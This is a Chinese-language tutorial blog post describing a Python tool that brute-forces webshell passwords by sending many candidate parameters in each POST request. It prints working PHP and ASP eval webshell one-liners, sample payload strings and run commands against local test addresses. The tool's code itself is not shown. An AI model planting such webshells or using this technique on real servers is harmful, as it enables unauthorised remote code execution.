入门客AI创业平台(我带你入门,你带我飞行)
博文笔记

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

创建时间:2018-03-10 投稿人: huangwanqin 浏览次数:2979

最初思路源于T00ls版主接地气,一个低调、热心的安全研究者。向技术研究者和分享者致敬!

一般来说,一句话木马脚本的样本如下:

PHP:<?php @eval($_POST["v5est0r"]);?>

ASP:<%eval request("v5est0r")%>

一般来说,一句话木马通过POST方式的传参方式如下(以写出字符的语句为例):

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

PHP:v5est0r=echo "password is v5est0r";

ASP:v5est0r=response.write("password:v5est0r")

如下,我们这里准备了一个PHP版本的一句话木马,密码是v5est0r,POST的数据是v5est0r=echo "password is v5est0r";,变量提交能匹配上即执行echo语句,此为传统的单数据提交模式:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

那么根据接地气大哥的思路,一次提交多个变量数据呢?多个变量用&连接符连接起来。无论是提交一个变量还是多个变量,服务器都是判断一次,只要提交内容中存在正确的变量就执行echo语句,于是乎,一次提交多个变量就大大增加了破解效率。

v5est0r=echo "password is v5est0r";&123=echo "password is 123";&admin=echo "password is admin";&1=echo "password is 1";&pass=echo "password is pass";&test=echo "password is test";

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Apache一次允许同时提交1000个参数, IIS允许一次提交5883个参数。

开始实现

那么,在python中如何实现呢?

下图是我们在python命令行下使用requests库测试提交,很方便:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

思路有了,开始一点一点在代码中实现,下面的代码体现了:

1. 判断该变量是是否与一句话木马变量匹配

2. 尝试多变量提交数据

3. 清空字典并尝试向添加新的变量

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

如是,很简单的判断出了一句话木马的变量是`v5est0r`,当前的提交变量对应的数据是:

{"test": "echo "password is test";", "v5est0r": "echo "password is v5est0r";", "123": "echo "password is 123";", "hack": "echo "password is hack";"}

接下来要解决的问题就是从字典文件中读取变量并合并写入提交的数据组:

我们在本目录提供了字典文件`pass.txt`,内容如下:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

一开始我尝试把字典通过`readlines`逐行读取,并写入一个元组中,但是有换行符`n`扰乱我们提取纯净的字典数据,为了解决或者这个问题我真是绞尽脑汁,我还是太笨了。。。,搞了两个小时才解决,使用`strip`函数删除无关数据,我还是不明白起初的思路利用`replace`函数替换为什么不可以:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

提交的数据是:

{"v5est0r": "echo "password is v5est0r";", "12": "echo "password is 12";", "Admin": "echo "password is Admin";", "1": "echo "password is 1";", "123": "echo "password is 123";", "Pass": "echo "password is Pass";", "Test": "echo "password is Test";"}

如此完美解决数据的拼接问题。

我们上面说过,Apache一次允许同时提交1000个参数, IIS允许一次提交5883个参数。我们这里就不做具体的区分了,同一把字典以1000为单位分组:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

经过如上分析,接下来就是分批提交了,这就很简单了,初始DEMO如下:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

如上,代码初步完成,我们先测试下效果:

这里准备了一个字典,有68万+的密码变量,我们把正确的密码放在最后一个:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

尝试执行脚本,可以看到,python处理数据极快:

但是,出现了问题,明明是存在密码的,但是却没爆破出来。后来想了下,是因为密码在最后一位,我们在以千为单位分割时漏掉了余数,于是如下添加以下代码补齐余数:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

如此,软件基本成型,我们还需加入ASP类型的脚本木马爆破,直接替换提交的数据即可。

为了方便我们的用户使用,需要进行变量在命令行由客户传入,即实现自定义和批量等功能:

客户传参使用ConfigParser模块,完整代码如下,加入了脚本类型的区分:

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

这里是使用if语句判断用户传入的是ASP还是PHP类型的一句话木马。

实战测试

脚本使用请如下填写相关参数:

python ShellBuster.py shell_url shell_type dic_dir//python ShellBuster.py 木马地址 脚本类型 字典位置

PHP脚本测试效果,30万字典几秒就跑完了:

python ShellBuster.py http://192.168.1.103/hack.php php pass.txt

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

ASP脚本测试效果,30万字典几秒就跑完了:

python ShellBuster.py http://192.168.1.103:8080/hack.asp asp pass.txt

Python可以提升万倍爆破速率?一句话木马你可能没听说过!

ASP脚本可以改成5000个变量一组,那样就更快了,估计1000万的字典也跑不了几秒。我下次写个封装函数出来再细分吧,先休息了。

声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。